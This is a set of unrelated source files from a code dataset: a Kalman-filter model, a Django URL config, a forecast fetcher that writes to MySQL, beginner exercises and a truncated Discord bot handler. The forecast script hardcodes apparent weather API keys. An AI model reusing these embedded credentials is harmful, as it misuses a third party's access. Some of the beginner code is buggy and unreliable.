+{"seq_id":"9853210161","text":"from typing import Callable, Union\n\n\nimport numpy as np\nimport jax.numpy as jnp\n\nfrom models.common import make_discrete_matrix, vector2matrix, Ndarray\n\n\nclass DiscreteModel:\n    # Discrete State Space Model\n    def __init__(self,\n                 state_f: Callable,\n                 observation_f: Callable,\n                 init_state: Ndarray,\n                 model_noise_f: Callable = lambda: 0.0,\n                 obs_noise_f: Callable = lambda: 0.0,\n                 save_history: bool = False):\n\n        self.state_f = state_f\n        self.observation_f = observation_f\n\n        self.state = vector2matrix(init_state)\n        self.model_noise_f = model_noise_f\n        self.obs_noise_f = obs_noise_f\n\n        self.save_history = save_history\n        self.history = []\n        if self.save_history:\n            self.history.append(self.state)\n\n    def step(self,\n             input_vector: Ndarray = None,\n             time_delta: Union[int, float] = 0):\n\n        if input_vector is None:\n            input_vector = jnp.zeros_like(self.state)\n\n        input_vector = vector2matrix(input_vector)\n\n        self.state = self.state_f(self.state, input_vector, time_delta) + self.model_noise_f()\n        out = self.observation_f(self.state) + self.obs_noise_f()\n        if self.save_history:\n            self.history.append(self.state)\n        return out\n\n    def get_history(self, squeeze: bool = True):\n        if not self.save_history:\n            raise RuntimeError('History is not saved')\n\n        return np.stack(self.history)[..., 0] if squeeze else np.stack(self.history)\n\n\nclass LinearDiscreteModel(DiscreteModel):\n    # Linear Discrete State Space Model\n    def __init__(self,\n                 A: Ndarray,\n                 B: Ndarray,\n                 C: Ndarray,\n                 init_state: Ndarray,\n                 time_delta: Union[int, float],\n                 matrix_exp_iterations: int = 5):\n\n        A_discrete = make_discrete_matrix(\n            A, time_delta, iterations=matrix_exp_iterations)\n        B_discrete = np.linalg.inv(A) @ (A_discrete - np.eye(A.shape[0])) @ B\n\n        self.state_f = lambda x, u, time_delta: A_discrete @ x + B_discrete * u\n        self.out_f = lambda x: C @ x\n        super().__init__(self.state_f, self.out_f, init_state)\n","repo_name":"IvDmNe/kalman-filters","sub_path":"models/state_space_model.py","file_name":"state_space_model.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"70720615183","text":"\"\"\"api URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom core import views\n\nfrom rest_framework import permissions\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\nschema_view = get_schema_view(\n   openapi.Info(\n      title=\"Fastbreak API\",\n      default_version='v1',\n      description=\"Test description\",\n      terms_of_service=\"https://www.google.com/policies/terms/\",\n      contact=openapi.Contact(email=\"abdulkhancs@gmail.com\"),\n      license=openapi.License(name=\"BSD License\"),\n      url=\"fastbreak-api.herokuapp.com\"\n   ),\n   public=True,\n   permission_classes=[permissions.AllowAny],\n)\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('api-auth/', include('rest_framework.urls')),\n    path('', views.get_data, name = \"api\"),\n]\n","repo_name":"abdulkhanCS/Player-Stats-Django-API","sub_path":"src/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
+{"seq_id":"41751472255","text":"#Word list:\n#Dictionarys of the nane of each unique number and order\nnum_list= {0:\"\",1:\"one\",2:\"two\",3:\"three\",4:\"four\",5:\"five\",6:\"six\",7:\"seven\",8:\"eight\",9:\"nine\",10:\"ten\",11:\"eleven\",12:\"twelve\",13:\"thirteen\",15:\"fifteen\",\n20:\"twenty\",30:\"thirty\",40:\"fourty\",50:\"fifty\",60:\"sixty\",70:\"seventy\",80:\"eighty\",90:\"ninty\",100:\"hunderd\"}\n\norder_list={0:\"\", 1:\" thousand \",2:\" million \",3:\" billion \",4:\" trillion \"}\n\n############\n#Num Input\n\nnum = int(input(\"Input nuber here: \"))\n\n#Split into orders of magnitude\n\ndef num_split(number):\n    num_cut=[]\n    for i in range(0, len(str(number)),3):\n        num_cut.append(number%(10**(i+3))//(10**i))\n    return num_cut[::-1]\n\nnum_cut=num_split(abs(num))\n\n#Convert each section to words\ndef block_to_sting(block_int):\n    block_string=\"\"\n    block_split_1=[block_int//100,block_int%100]\n    \n    if block_split_1[0]!=0:\n        block_string+=num_list[block_split_1[0]]+\" hundred \"\n\n    if block_split_1[0]!=0 and block_split_1[1]!=0:\n        block_string+=\"and \"\n\n    if block_split_1[1] in num_list:\n        block_string+=num_list[block_split_1[1]]\n    else:\n        block_split_2=[(block_split_1[1]//10)*10,block_split_1[1]%10]\n        block_string+=num_list[block_split_2[0]]+\" \"+num_list[block_split_2[1]]\n    return block_string+\"\"\n\n#Add all strings together\ndef blocks_to_string():\n    to_string=\"\"\n    for j in range(0, (len(str(num))+2)//3):\n        last_block_string=block_to_sting(num_cut[j])\n        to_string+=last_block_string\n        if last_block_string!= \"\":\n            to_string+=order_list[(len(str(num))+2)//3-j-1]\n    return to_string\n\n#Sort edge cases and output\nnum_string=\"\"\nif len(str(num))<=15:  \n    if num==0:\n        num_string=\"zero\"\n    elif num <0:\n        num_string=\"negative \"\n        num_string+=blocks_to_string()\n    else:\n        num_string=blocks_to_string()\n    print(num_string)\nelse:\n    print(\"Number too long\")\n","repo_name":"ZakGregory/Python-Exercises","sub_path":"Intermediate/Numbers_To_Words.py","file_name":"Numbers_To_Words.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"30241067165","text":"import openai\n\nopenai.api_key\nresonpse = openai.ChatCompletion.create(\n    model=\"gpt-3.5-turbo\",\n    messages=[\n        {\"role\": \"system\", \"content\":\"接下来请用简短的回答进行情感分析\"},\n        {\"role\": \"user\", \"content\": \"判断下面这句话的情感倾向：炸了，就2000.浦发没那么好心，草。用0表示负向，1表示正向，2表示中立。例如：情感倾向为1\"}\n    ]\n)\n\nprint(resonpse)\n","repo_name":"Lokshaw-Chau/ner_sa_nlpcontest","sub_path":"LLM/chatgpt.py","file_name":"chatgpt.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"21760282712","text":"from enum import Enum\n\ntoken_types = [\n    # Operators\n    'ASSIGN_OPERATOR',\n    'ARITHMETIC_OPERATOR',\n    'COMPARATION_OPERATOR',\n    'BOOLEAN_OPERATOR',\n    'ASSIGN_ESP_OPERATORS',\n    'FUNCTION_OPERATOR',\n    'COMMA',\n\n    # Reserved words\n    'TYPE',\n    'CONTROL_WORD',\n    'RESERVED_WORD',  # Other reserver words # NOTE: Is this needed?\n\n    # Variables and values\n    'NUMBER',\n    'STRING',\n    'ARRAY_VALS',  # NOTE: Is this needed?\n    'NAME',  # represents a variable and function name\n\n    'OPEN_BRACKET',\n    'CLOSE_BRACKET',\n    'ERROR',\n    'COMMENT',  # Tokens of this type are removed in the lexical analyzer\n]\nToken_type = Enum('Token_type', token_types)\n\ntypes = [\n    'string',\n    'int',\n    'float',\n    'void',\n]\nbool_operators_words = [\n    'and',\n    'or',\n    'not'\n]\ncontrol_words = [\n    'while',\n    'if',\n    'else',\n    'elif',\n    'func',\n    'return',\n]\nassign_operators = [\n    '='\n]\nfunction_operators = [\n    ':'\n]\narithm_operators = [\n    '+',\n    '-',\n    '*',\n    '/',\n    '^',  # right associative\n]\nassign_esp_operators = [\n    '+=',\n    '-=',\n    '*=',\n    '\\=',\n]\ncomp_operators = [\n    '==',\n    '!=',\n    '>',\n    '<',\n    '>=',\n    '=>'\n]\nbool_operators = [\n    '||',\n    '&&',\n    '!'\n]\nopen_brackets = [\n    '(',\n    '[',\n    '{'\n]\nclose_brackets = [\n    ')',\n    ']',\n    '}'\n]\ncomma_symb = [\n    ','\n]\ncomment_symb = [\n    '#'\n]\n\nall_reserved = {}\nall_reserved.update((i, Token_type.TYPE) for i in types)\nall_reserved.update((i, Token_type.ASSIGN_OPERATOR) for i in assign_operators)\nall_reserved.update((i, Token_type.ARITHMETIC_OPERATOR) for i in arithm_operators)\nall_reserved.update((i, Token_type.COMPARATION_OPERATOR) for i in comp_operators)\nall_reserved.update((i, Token_type.BOOLEAN_OPERATOR) for i in bool_operators)\nall_reserved.update((i, Token_type.BOOLEAN_OPERATOR) for i in bool_operators_words)\nall_reserved.update((i, Token_type.FUNCTION_OPERATOR) for i in function_operators)\nall_reserved.update((i, Token_type.CONTROL_WORD) for i in control_words)\nall_reserved.update((i, Token_type.ASSIGN_ESP_OPERATORS) for i in assign_esp_operators)\nall_reserved.update((i, Token_type.OPEN_BRACKET) for i in open_brackets)\nall_reserved.update((i, Token_type.CLOSE_BRACKET) for i in close_brackets)\nall_reserved.update((i, Token_type.COMMA) for i in comma_symb)\nall_reserved.update((i, Token_type.COMMENT) for i in comment_symb)\n\ndef check_reserved(item):\n    if item in all_reserved:\n        return all_reserved[item]\n    else:\n        return None\n\n\n","repo_name":"Alex23013/compilers","sub_path":"reserved_definitions.py","file_name":"reserved_definitions.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"33638626083","text":"import sys\nimport logging\nimport json\nimport requests\ntry:\n    from . import dbconn\nexcept:\n    import dbconn\nimport csv\nfrom dateutil.parser import parse\nimport datetime\nimport os\nimport pandas as pd\n# import shutil\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n# SETTINGS = {\"forecast\": {\n#     \"api_key\": \"d056785095a54e8da282cc12320c42b6\",\n#     \"hourly\": 'hourly/360hour.json',\n#     \"15min\": 'fifteenminute.json'}\n# }\nSETTINGS = {\"forecast\": {\n    \"api_key\": \"61e47cd17f994e2ba47cd17f990e2bcb\"\n    }\n}\n\n\nclass ForecastData:\n    \"\"\"Fetch Forecast Data from Wunderground.\"\"\"\n\n    data = None\n    data_type = 'json'\n    args = None\n\n    def __init__(self):\n        \"\"\"Initilization constructor.\"\"\"\n        self.api_key = SETTINGS.get('forecast').get('api_key')\n        # self.base_url = (\"https://api.weather.com/v1/geocode/{lat}/{long}\"\n        #                  \"/forecast/{interval}?language=en-US\"\n        #                  \"&units={units}&apiKey={apikey}\")\n\n        self.base_url = (\"https://api.weather.com/v3/wx/forecast/hourly/15day?geocode={lat},{lng}\"\n                         \"&format=json&units={units}&language=en-US\"\n                         \"&apiKey={apikey}\")\n        #https://api.weather.com/v3/wx/forecast/hourly/15day?geocode=78.2676100,30.0869300&format=json&units=m&language=en-US&apiKey=61e47cd17f994e2ba47cd17f990e2bcb \n\n\n    def fetch_data(self, lat, lng, interval, units):\n        \"\"\"Grab data from Weather Underground API.\"\"\"\n        linterval = SETTINGS.get('forecast').get(interval)\n        url = self.base_url.format(lat=lat, lng=lng,\n                                   units=units, apikey=self.api_key)\n        try:\n            logger.info('Fetching url: %s', url)\n            req = requests.get(url)\n            logger.info('Status code: %s', req.status_code)\n            if self.data_type == 'json':\n                self.data = json.loads(req.content)\n            else:\n                self.data = req.content\n            logger.debug('Req Data: %s', self.data)\n        except Exception as err:\n            logger.error(\"Error: %s\", err)\n            raise\n\n    def parse_forecast2(self, location=None, forecast_type=None):\n        logger.info('Parsing json data.')\n        df =  pd.DataFrame(self.data)\n        columns = ['date', 'time', 'hour', 'expiretimelocal', 'forecasttype', 'location'] + df.columns.to_list()\n        # df['date'] = pd.to_datetime(df['validTimeLocal'], format='%Y-%m-%dT%H:%M:%S%z').dt.date\n        # df['time'] = pd.to_datetime(df['validTimeLocal'], format='%Y-%m-%dT%H:%M:%S%z').dt.time\n        df['date'] = pd.to_datetime(df['validTimeLocal'], format='%Y-%m-%dT%H:%M:%S%z').dt.strftime('%Y-%m-%d')\n        df['time'] = pd.to_datetime(df['validTimeLocal'], format='%Y-%m-%dT%H:%M:%S%z').dt.strftime('%H:%M:%S')\n        df['hour'] = pd.to_datetime(df['validTimeLocal'], format='%Y-%m-%dT%H:%M:%S%z').dt.strftime('%H').astype(int)        \n        df['expiretimelocal'] = pd.to_datetime(df['expirationTimeUtc'], unit='s')\\\n            .dt.tz_localize('UTC').dt.tz_convert('Asia/Calcutta').dt.tz_localize(None).dt.strftime('%Y-%m-%d %H:%M:%S')\n        df['forecasttype'] = forecast_type\n        df['location'] = location\n        df = df.where(pd.notnull(df), None)\n        return df[columns].values.tolist()               \n\n    def parse_forecast(self, location=None, forecast_type=None,\n                       hdr_col=None, body_dat=None):\n        \"\"\"\n        Parse the forecast json file.\n\n        { \"class\": \"fod_long_range_hourly\", \"expire_time_gmt\": 1487247545,\n         \"fcst_valid\": 1487246400,\n         \"fcst_valid_local\": \"2017-02-16T17:30:00+0530\",\n         \"num\": 1, \"day_ind\": \"D\", \"temp\": 17, \"dewpt\": 8, \"hi\": 17,\n         \"wc\": 17,\n         \"feels_like\": 17, \"icon_extd\": 3200, \"wxman\": \"wx1000\",\n         \"icon_code\": 32,\n         \"dow\": \"Thursday\", \"phrase_12char\": \"Sunny\",\n         \"phrase_22char\": \"Sunny\",\n         \"phrase_32char\": \"Sunny\", \"subphrase_pt1\": \"Sunny\",\n         \"subphrase_pt2\": \"\",\n         \"subphrase_pt3\": \"\", \"pop\": 0, \"precip_type\": \"rain\", \"qpf\": 0.0,\n         \"snow_qpf\": 0.0, \"rh\": 57, \"wspd\": 7, \"wdir\": 229,\n         \"wdir_cardinal\": \"SW\",\n         \"gust\": null, \"clds\": 15, \"vis\": 16.0, \"mslp\": 1016.5,\n         \"uv_index_raw\": 0.11,\n         \"uv_index\": 0, \"uv_warning\": 0, \"uv_desc\": \"Low\",\n         \"golf_index\": 8,\n         \"golf_category\": \"Very Good\", \"severity\": 1 }\n        \"\"\"\n        logger.info('Parsing json data.')\n        if self.data.get('metadata').get('errors'):\n            for err in self.data.get('metadata').get('errors'):\n                logger.error(err.get('error').get('code') + ':' +\n                             err.get('error').get('message'))\n                logger.error('Status Code: %s',\n                             self.data.get('metadata').get('status_code'))\n            return False\n        elif (self.data.get('metadata').get('status_code') == 200):\n            val = []\n            val.append([\"Date\", \"Hour\", \"TemperatureCelsius\",\n                        \"FeelsLikeCelsius\", \"WindSpeedKph\",\n                        \"WindDirirectionCardinal\", \"WindDirectionDegrees\",\n                        \"WindGustKph\", \"WindChillCelsius\",\n                        \"DewpointTemperatureCelsius\",\n                        \"HeatIndexCelsius\", \"RelativeHumidityPercent\",\n                        \"Conditions\", \"QpfMillimeters\", \"PopPercent\",\n                        \"SnowQpfCentimeters\", \"CloudCoveragePercent\",\n                        \"MslPressureMillibars\",\n                        \"Latitude\", \"Longitude\", \"DateTimeGMT\",\n                        \"DateTimeLwt\", \"ExpireTimeLocal\", \"ExpireTimeGMT\",\n                        \"Location\", \"Forecast_Type\"])\n            longitude = self.data['metadata']['longitude']\n            latitude = self.data['metadata']['latitude']\n            expire_time_gmt = self.data['metadata']['expire_time_gmt']\n            gexpire_time_gmt = datetime.datetime.utcfromtimestamp(\n                int(expire_time_gmt)).strftime('%Y-%m-%d %H:%M:%S')\n            for item in self.data['forecasts']:\n                expire_time_gmt = item['expire_time_gmt']\n                lexpire_time_gmt = datetime.datetime.fromtimestamp(\n                    int(expire_time_gmt)).strftime('%Y-%m-%d %H:%M:%S')\n                gmt_datetime = datetime.datetime.utcfromtimestamp(\n                    int(item['fcst_valid'])).strftime('%Y-%m-%d %H:%M:%S')\n                local_datetime = parse(item[\"fcst_valid_local\"])\n                date = local_datetime.strftime('%d-%m-%Y')\n                time = local_datetime.strftime('%H:%M:%S')\n                val.append([date, time, item[\"temp\"], item[\"feels_like\"],\n                            item[\"wspd\"], item['wdir_cardinal'],\n                            item['wdir'], item['gust'], item['wc'],\n                            item['dewpt'], item['hi'], item['rh'],\n                            item['phrase_22char'], item.get('qpf', None),\n                            item['pop'], item.get('snow_qpf', None),\n                            item['clds'], item['mslp'],\n                            latitude, longitude, gmt_datetime,\n                            local_datetime.strftime('%Y-%m-%d %H:%M:%S'),\n                            lexpire_time_gmt, gexpire_time_gmt,\n                            location, forecast_type])\n            return val\n        else:\n            logger.error('Status Code: %s',\n                         self.data.get('metadata').get('status_code'))\n            return False\n\n    def save_csv(self, path, filenm, data):\n        \"\"\"Save the data to a file in the OS.\"\"\"\n        file_dir_fnm = os.path.join(path, filenm + \".csv\")\n        logger.info('File save started : %s', file_dir_fnm)\n        if os.path.exists(file_dir_fnm):\n            os.remove(file_dir_fnm)\n        with open(file_dir_fnm, \"wb\") as file_write:\n            csvwriter = csv.writer(file_write, delimiter=',', quotechar='|',\n                                   quoting=csv.QUOTE_MINIMAL)\n            csvwriter.writerows((row for row in data))\n        file_write.close()\n        logger.info('File saved : %s', file_dir_fnm)\n        return file_dir_fnm\n\n\nclass DbFetchLocations():\n    \"\"\"Update Fetch the database with data.\"\"\"\n\n    def __init__(self, dsnfile, state):\n        \"\"\"Database connection init.\"\"\"\n        self.connection = dbconn.connect(dsnfile)\n        self.cursor = self.connection.cursor()\n        self.state = state\n\n    def fetch_locations(self):\n        \"\"\"Get all the location attributes from mdaws_wunderground_map.\"\"\"\n        logger.info('Fetching location for : %s', self.state)\n        try:\n            self.cursor.execute(\"\"\"SELECT\n                        mapped_location_name, latitude, longitude\n                        from power.imdaws_wunderground_map\n                        where latitude is not null\n                        and longitude is not null\n                        and display_city_name is not null\n                        and state = %s\"\"\", (self.state,))\n            results = self.cursor.fetchall()\n            self.cursor.close()\n            return results\n        except Exception as err:\n            logger.error(\"Error fetching location: %s : for state : %s\",\n                         str(err), self.state)\n            if self.connection.open:\n                self.cursor.close()\n            raise\n\n\nclass DbUploadData():\n    \"\"\"Update Fetch the database with data.\"\"\"\n\n    def __init__(self, dsnfile, filenm=None, data=None):\n        \"\"\"Database connection init.\"\"\"\n        self.connection = dbconn.connect(dsnfile)\n        self.cursor = self.connection.cursor()\n        self.filenm = filenm\n        self.data = data\n\n    def csv_to_data(self, hdr_col, body_dat):\n        \"\"\"Csv to list of lists.\"\"\"\n        self.data = []\n        with open(self.filenm, 'r') as csvfile:\n            reader = csv.reader(csvfile)\n            headers = next(reader)[1:]\n            headers.extend(hdr_col)\n            logging.debug(\"{} File Data header: {}\"\n                          .format(self.filenm, headers))\n            for line in reader:\n                row = list(line[1:])\n                row.extend(body_dat)\n                self.data.append(tuple(row))\n        logger.debug(\"{} File Data: {}\"\n                     .format(self.filenm, self.data))\n\n    def db_upload_data2(self):\n        \"\"\"Inserting data into table wu_actual_weather_stg.\"\"\"\n        logger.info('Inserting data into table wu_forecast_weather_stg. %s ', len(self.data))\n        try:\n            self.cursor.executemany(\"\"\"INSERT INTO `wu_forecast_weather_stg`\n                (`date`,\n                `time`,\n                `hour`,\n                `expiretimelocal`,\n                `forecasttype`,\n                `location`,\n                `cloudcover`,\n                `dayofweek`,\n                `dayornight`,\n                `expirationtimeutc`,\n                `iconcode`,\n                `iconcodeextend`,\n                `precipchance`,\n                `preciptype`,\n                `pressuremeansealevel`,\n                `qpf`,\n                `qpfsnow`,\n                `relativehumidity`,\n                `temperature`,\n                `temperaturedewpoint`,\n                `temperaturefeelslike`,\n                `temperatureheatindex`,\n                `temperaturewindchill`,\n                `uvdescription`,\n                `uvindex`,\n                `validtimelocal`,\n                `validtimeutc`,\n                `visibility`,\n                `winddirection`,\n                `winddirectioncardinal`,\n                `windgust`,\n                `windspeed`,\n                `wxphraselong`,\n                `wxphraseshort`,\n                `wxseverity`)\n                VALUES\n                (%s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s,\n                 %s)\n                ON DUPLICATE KEY UPDATE\n                `cloudcover` = VALUES(cloudcover),\n                `dayofweek` = VALUES(dayofweek),\n                `dayornight` = VALUES(dayornight),\n                `expirationtimeutc` = VALUES(expirationtimeutc),\n                `iconcode` = VALUES(iconcode),\n                `iconcodeextend` = VALUES(iconcodeextend),\n                `precipchance` = VALUES(precipchance),\n                `preciptype` = VALUES(preciptype),\n                `pressuremeansealevel` = VALUES(pressuremeansealevel),\n                `qpf` = VALUES(qpf),\n                `qpfsnow` = VALUES(qpfsnow),\n                `relativehumidity` = VALUES(relativehumidity),\n                `temperature` = VALUES(temperature),\n                `temperaturedewpoint` = VALUES(temperaturedewpoint),\n                `temperaturefeelslike` = VALUES(temperaturefeelslike),\n                `temperatureheatindex` = VALUES(temperatureheatindex),\n                `temperaturewindchill` = VALUES(temperaturewindchill),\n                `uvdescription` = VALUES(uvdescription),\n                `uvindex` = VALUES(uvindex),\n                `validtimelocal` = VALUES(validtimelocal),\n                `validtimeutc` = VALUES(validtimeutc),\n                `visibility` = VALUES(visibility),\n                `winddirection` = VALUES(winddirection),\n                `winddirectioncardinal` = VALUES(winddirectioncardinal),\n                `windgust` = VALUES(windgust),\n                `windspeed` = VALUES(windspeed),\n                `wxphraselong` = VALUES(wxphraselong),\n                `wxphraseshort` = VALUES(wxphraseshort),\n                `wxseverity` = VALUES(wxseverity),\n                 processed_ind = 0\"\"\", tuple(self.data))\n            logger.info(\"Load Status %s\", str(self.connection.info()))\n            self.connection.commit()\n            self.cursor.close()\n        except Exception as err:\n            logger.error(\"Error Inserting Data: %s\", str(err))\n            # logger.error(\"Error Inserting Data: %s\", self.data)\n            if self.connection.open:\n                self.connection.rollback()\n                self.cursor.close()\n            raise\n\n    def db_upload_data(self):\n        \"\"\"Inserting data into table wu_actual_weather_stg.\"\"\"\n        logger.info('Inserting data into table wu_forecast_weather_stg.')\n        logger.info(self.data)\n        try:\n            self.cursor.executemany(\"\"\"INSERT INTO\n                `power`.`wu_forecast_weather_stg`\n                (\n                `Local_Date`,\n                `Local_Hour`,\n                `TemperatureCelsius`,\n                `ApparentTemperatureCelsius`,\n                `WindSpeedKph`,\n                `WindDirirectionCardinal`,\n                `WindDirectionDegrees`,\n                `WindGustsKph`,\n                `WindChillCelsius`,\n                `DewpointTemperatureCelsius`,\n                `HeatIndexCelsius`,\n                `RelativeHumidityPercent`,\n                `Conditions`,\n                `QpfMillimeters`,\n                `PopPercent`,\n                `SnowQpfCentimeters`,\n                `CloudCoveragePercent`,\n                `MslPressureMillibars`,\n                `Latitude`,\n                `Longitude`,\n                `DateTimeGmt`,\n                `DateTimeLwt`,\n                `ExpireTimeLocal`,\n                `ExpireTimeGMT`,\n                `Mapped_Location_Name`,\n                `Forecast_Type`\n                )\n                VALUES\n                (\n                STR_TO_DATE(%s,'%%d-%%m-%%Y'),\n                TIME_FORMAT(%s, '%%H:%%i:%%s'),\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s,\n                %s)\n                ON DUPLICATE KEY UPDATE\n                `TemperatureCelsius` = VALUES(TemperatureCelsius),\n                `ApparentTemperatureCelsius` =\n                    VALUES(ApparentTemperatureCelsius),\n                `WindSpeedKph` = VALUES(WindSpeedKph),\n                `WindDirirectionCardinal` = VALUES(WindDirirectionCardinal),\n                `WindDirectionDegrees` = VALUES(WindDirectionDegrees),\n                `WindGustsKph` = VALUES(WindGustsKph),\n                `WindChillCelsius` = VALUES(WindChillCelsius),\n                `DewpointTemperatureCelsius` =\n                    VALUES(DewpointTemperatureCelsius),\n                `HeatIndexCelsius` = VALUES(HeatIndexCelsius),\n                `RelativeHumidityPercent` = VALUES(RelativeHumidityPercent),\n                `Conditions` = VALUES(Conditions),\n                `QpfMillimeters` = VALUES(QpfMillimeters),\n                `PopPercent` = VALUES(PopPercent),\n                `SnowQpfCentimeters` = VALUES(SnowQpfCentimeters),\n                `CloudCoveragePercent` = VALUES(CloudCoveragePercent),\n                `MslPressureMillibars` = VALUES(MslPressureMillibars),\n                `ExpireTimeLocal` = VALUES(ExpireTimeLocal),\n                `ExpireTimeGMT` = VALUES(ExpireTimeGMT),\n                 Modified_Date = null,\n                 Processed_Ind = 0\"\"\", tuple(self.data))\n            logger.info(\"Load Status %s\", str(self.connection.info()))\n            self.connection.commit()\n            self.cursor.close()\n        except Exception as err:\n            logger.error(\"Error Inserting Data: %s\", str(err))\n            if self.connection.open:\n                self.connection.rollback()\n                self.cursor.close()\n            raise\n\ndef main():\n    # # # # Test code\n    dsn = '/Users/biswadippaul/Projects/code/power-codes/quenext-dev-dev/default/ems/batch/config/sqldb_connection_config.txt'\n    # dsn = '../config/sqldb_connection_config.txt'\n    # dsn = '../config/sqldb_dev_gcloud.txt'\n    loc = DbFetchLocations(dsn, 'UTTARAKHAND')\n    # loc = DbFetchLocations(dsn, 'GUJARAT')\n    # loc = DbFetchLocations(dsn, 'TAMIL NADU')\n    all_loc = loc.fetch_locations()\n    # forecast_type = ['hourly', '15min']\n    forecast_type = ['hourly']\n    for loc, lat, lng in all_loc:\n        print((loc, lat, lng))\n        # forecast_type = 'hourly'\n        for f_type in forecast_type:\n            forecast = ForecastData()\n            forecast.fetch_data(lat, lng, f_type, 'm')\n            data = forecast.parse_forecast2(loc, f_type)\n            # print(len(data[:1]))\n            dbupdate = DbUploadData(dsn, data=data)\n            # print dbupdate.data\n            dbupdate.db_upload_data2()\n\nif __name__ == '__main__':\n    main()\n    sys.exit()\n\n","repo_name":"bispaul/ems","sub_path":"batch/bin/forecastweather_wu.py","file_name":"forecastweather_wu.py","file_ext":"py","file_size_in_byte":19235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"71763618704","text":"a = int(input(\"Enter four number in the first list\"))\r\nal = a.split()\r\nb = int(input(\"Enter four number in the second list\"))\r\nbl = a.split()\r\nc = int(input(\"Enter four number in the third list\"))\r\ncl = a.split()\r\nd = int(input(\"Enter four number in the forth list\"))\r\ndl = a.split()\r\n\r\ndef sum1(a1):\r\n    for num1 in al:\r\n        global s1\r\n        s1 = int(s1) + int(num1)\r\n    return s1\r\n\r\ndef sum2(bl):\r\n    for num2 in bl:\r\n        global s2\r\n        s2 = int(s2) + int(num2)\r\n    return s2\r\n\r\ndef sum3(cl):\r\n    for num3 in cl:\r\n        global s3\r\n        s3 = int(s3) + int(num3)\r\n    return s3\r\n\r\ndef sum4(d1):\r\n    for num4 in dl:\r\n        global s4\r\n        s4 = int(s4) + int(num4)\r\n    return s4\r\n\r\n\r\nx = sum1(al)\r\ny = sum2(bl)\r\nz = sum3(cl)\r\nh = sum4(dl)\r\nli = (x, y, z, h)\r\n\r\nmax1 = -9999\r\nfor num in li:\r\n    if num > max1:\r\n        max1 = num\r\n\r\nif max1 == s1:\r\n    print(al)\r\nelif max1 == s2:\r\n    print(bl)\r\nelif max1 == s3:\r\n    print(cl)\r\nelif max1 == s4:\r\n    print(dl)","repo_name":"chitamanjeeoulkeshav/assigment-python","sub_path":"lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"390497698","text":"import asyncio\nfrom util import utils, botutils, itemutils\nfrom controller import homebrew\n\n\n# TODO: Needs serious revision and finishing.\nasync def handle_homebrew_commands(message, client):\n    homebrew_key = '$homebrew'\n    keywords = utils.split_strip(str(utils.first_line(message.content)), '.')\n    # `False` because temporarily disabled\n    if False and keywords[0] == homebrew_key and botutils.is_admin(message):\n        if keywords[1] == 'item':\n            new_item = dict()\n            new_item[itemutils.ITEM_FIELD_OFFICIAL] = False\n\n            def check_author(checked_message):\n                return checked_message.author.id == message.author.id\n\n            # TODO: apply function to the rest of the prompts\n            # Input item name\n            await item_creation_prompt(\n                client=client,\n                message=message,\n                bot_message=\"Input item **name**.\\n```yaml\\nMax 48 symbols.\\n```\",\n                error_message=\"Item name is too long. Try again.\",\n                timeout=60.0,\n                new_item=new_item,\n                new_item_parameter=itemutils.ITEM_FIELD_NAME,\n                check_input=lambda name: len(name) <= 48,\n                produce_result=lambda name: name\n            )\n\n            can_continue = False\n\n            # Input item description\n            def check_item_description(description):\n                return len(description) <= 2048\n            while not can_continue:\n                await message.author.send(\"Input item **description**.\\n```yaml\\nMax 1024 symbols.\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=300.0, check=check_author)\n                can_continue = check_item_description(item_creator_reply.content)\n                if not can_continue:\n                    await message.author.send(\"Description is too long. Try again.\")\n                else:\n                    new_item[itemutils.ITEM_FIELD_DESCRIPTION] = item_creator_reply.content\n            can_continue = False\n\n            # Input item rarity\n            def check_item_rarity_input(rarity):\n                try:\n                    utils.rarity_to_ordinal(rarity)\n                except ValueError:\n                    return False\n                return True\n            while not can_continue:\n                await message.author.send(\n                    \"Input item **rarity**.\\n```yaml\\n\"\n                    \"Possible values: common, uncommon, rare, very rare, legendary\\n```\")\n                item_creator_reply = await client.wait_for('message', timeout=120.0, check=check_author)\n                can_continue = check_item_rarity_input(item_creator_reply.content)\n                if not can_continue:\n                    await 